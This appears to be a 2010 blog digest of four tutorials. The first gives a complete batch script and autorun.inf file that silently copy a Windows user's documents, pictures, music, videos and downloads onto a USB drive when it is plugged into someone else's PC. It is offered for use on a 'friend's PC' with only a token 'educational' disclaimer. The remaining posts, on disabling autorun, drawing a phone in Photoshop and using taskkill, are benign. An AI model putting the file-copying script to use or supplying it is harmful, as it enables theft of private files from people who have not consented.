How To Steal Files From Other Computer

Posted: 10 May 2010 09:27 AM PDT

In today’s article I am going to teach you something illegal but only for educational propose. This only demonstrates how you can copy files from your friend’s PC as soon as you plug in your flash drive or any removable storage media.

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR

:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit

:ERROR
exit

What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.

Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.

Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.

How To Protect Your Desktop From Virus By Disabling Autorun

Posted: 09 May 2010 04:52 AM PDT

Most of the computer seems to get transferred from flash drives, pen drives and other portable and removable media. As soon as you plug and play your removable storage media, the windows’ default feature will search for Autorun.inf file which contains all the information about the things to do when media is plugged in.

It can execute programs (probably virus) which are already in removable storage media. Eventually the programs copies itself to the hard drive.

Therefore it is necessary to turn of autorun feature in your windows to get rid of viruses.

In this short tutorial I am going to teach you how to disable your system from searching and executing autorun.inf as soon as the removable storage is plugged in.

Follow this simple step by step tutorial.

First go to Start> Run

Type: gpedit.msc in run window and press OK button.

It will load the group policy editor window.

In the explorer sidebar at the left, open Computer configuration tree. Inside it open Administrative templates. Again open System folder. (refer to the image below).

Click on the image to Enlarge

At the right side, scroll down for the “Turn off Autoplay”.

Double click to open it.

Click on “Enabled” button and choose “all drives”.

And click on OK button.

Again in explorer sidebar at the left, open User configuration tree. Inside it open Administrative templates. Again open System folder. (refer to the image below).

Click on the image to Enlarge

At the right side, scroll down for the “Turn off Autoplay”.

Double click to open it. Apply the same settings as above and click on OK button.

Restart you PC.

Now onwards, your removable media won’t autoplay making your desktop more secure from virus.

Creating Realistic Cell Phone Using Photoshop

Posted: 08 May 2010 02:50 AM PDT

Today in my blockbuster tutorial, I am going to show you a full step by step tutorial to create a realistic looking cell phone using Photoshop CS4.

Before beginning let me avoid you to get distracted from this tutorial by telling what we’ll be using.

Well, we will be using only the layer blend and some shape tools that’s all.

Let’s being with the tutorial

Open Photoshop and create 4” by 6” document with resolution about 150 pixels/inch.

Create new layer (CTRL+SHIFT+N) and name it “Body” and choose a shape tool and draw a curved rectangle with following settings in the option box:

You’ll be creating shape similar to this:

Now highlight the layer and choose Blending Options layer style.(see the image below)

Now in the Lyaer style window apply the following changes:

For inner glow:

For Bevel and Emboss

Gradient Overlay:

In the gradient color click on the gradient(highlighted in red).

Change first colour to #0d0d0d and last color to #333333.

Your final output will be:

Now duplicate the layer Body and put the duplicated layer below Body layer.(refer to following image for effect and process)

Now hide both the layers by clicking on Eye icon at right side of each layer.

Create another new layer for screen and draw rectangle without any curves:

For the new layer apply following Layer style as we did last time for the Body:

For inner shadow:

For Gradient overlay:

Choose first color as #2a2a2a and last color as #383838 in gradient color.

You’ll get the following result for the screen:

Show all the layers and you’ll have the final body with screen ready.

Now we are going to create buttons for it.

First let’s create a button base.

Choose curve rectangle tool with radius 25 px at the bottom part of the cell.

Apply layer style to it with following settings:

For inner glow:

Change the glow color to #C7C7C7

For Bevel and Emboss:

For Gradient Overlay

Set first color to #191919 and last color to #1D1D1D

The final image will be like below:

Create another similar but small shape to fit in the button base and apply following layer style:

For Bevel and Emboss:

For gradient overlay:

You might probably have drawn a large oval button part above the button base. What we need to do now is to separate it. Using selection tool delete the middle part of it.

And finally get the following result:

Now the buttons are ready. We’ll then add green, white and red color glow for the buttons.

Create another rectangle in the button and add layer style with following settings:

For Gradient Overlay:

Get the following result then:

Do same with rest of buttons with color variations and delete the slight middle right part of the red button since it is a call reject button.

Now we have the button setup ready:

Now lets head towards the header region of the cell phone.

First create a speaker hole.

Draw curved rectangle with following layer style:

For Bevel and Emboss:

You’ll see the following result then:

Create another curved rectangle over the previous one and change the Bevel and Emboss to following:

Now let’s add brand name to it.

Use type tool (T) to type the text.

For NOKIA logo, I used Arial Black and slightly modified “O” to make it looks like Nokia’s. and for XpressMusic I used Myriad font.

Now create a XpressMusic logo. I used custom shape tool (Right arrow) and a variously sized round button to create it.

Now let’s create a camera.

Use circular marquee selection tool and subtract the circle with another circle over it as shown in figure:

Apply some bevel and emboss layer style and gradient layer style to it. Also repeat the above process for the inner circle but with different color settings to get final result somewhat similar to this:

Now your cell phone is almost ready. Only thing left to do is to add reflection to it.

To do so, select the region for the plastic reflection.

Fill it with linear gradient color with white and black composition. Level the opacity in the layer tool box.

And finally you have your Nokia XpressMusic 5800 ready.

Hope this tutorial was helpful.

Killing Your Non-responsive Programs Immediately

Posted: 07 May 2010 07:38 AM PDT

Today I am going to show you a simple trick to kill the non-responsive programs that you often use.

I often encounter with non-responsive task in firefox when I open multiple tabs and one of them gives error in the web script or unresponsive script. This finally makes my firefox to stop responding. Same happens some time with most of the heavy programs like Autodesk Maya, Photoshop and After effects.

Pressing CTRL+ ALT+DELETE and choosing to kill the task may take several time. Especially it may take time to load taskmanager when you have more than two non-responsive windows.

At that situation I simply use the following command:

Taskkill

It is actually a MS-DOS command to kill the task.

How to use it?
It can be easily accessed from Run window.

Go to Start> Run
Type:

taskkill /f /im programname.exe

/f parameter refers to force the taskkill.
/im parameter refers to kill the other linking tasks that may be causing problem.

When you type the command and press OK button, it will load a MS-DOS window and fade out promptly and in no time you’ll see your non-responsive window being closed.

For example,

For non-responsive photshop:

Taskkill /f /im photoshop.exe

For non-responsive firefox:

Taskkill /f /im firefox.exe

Hope this trick was helpful.
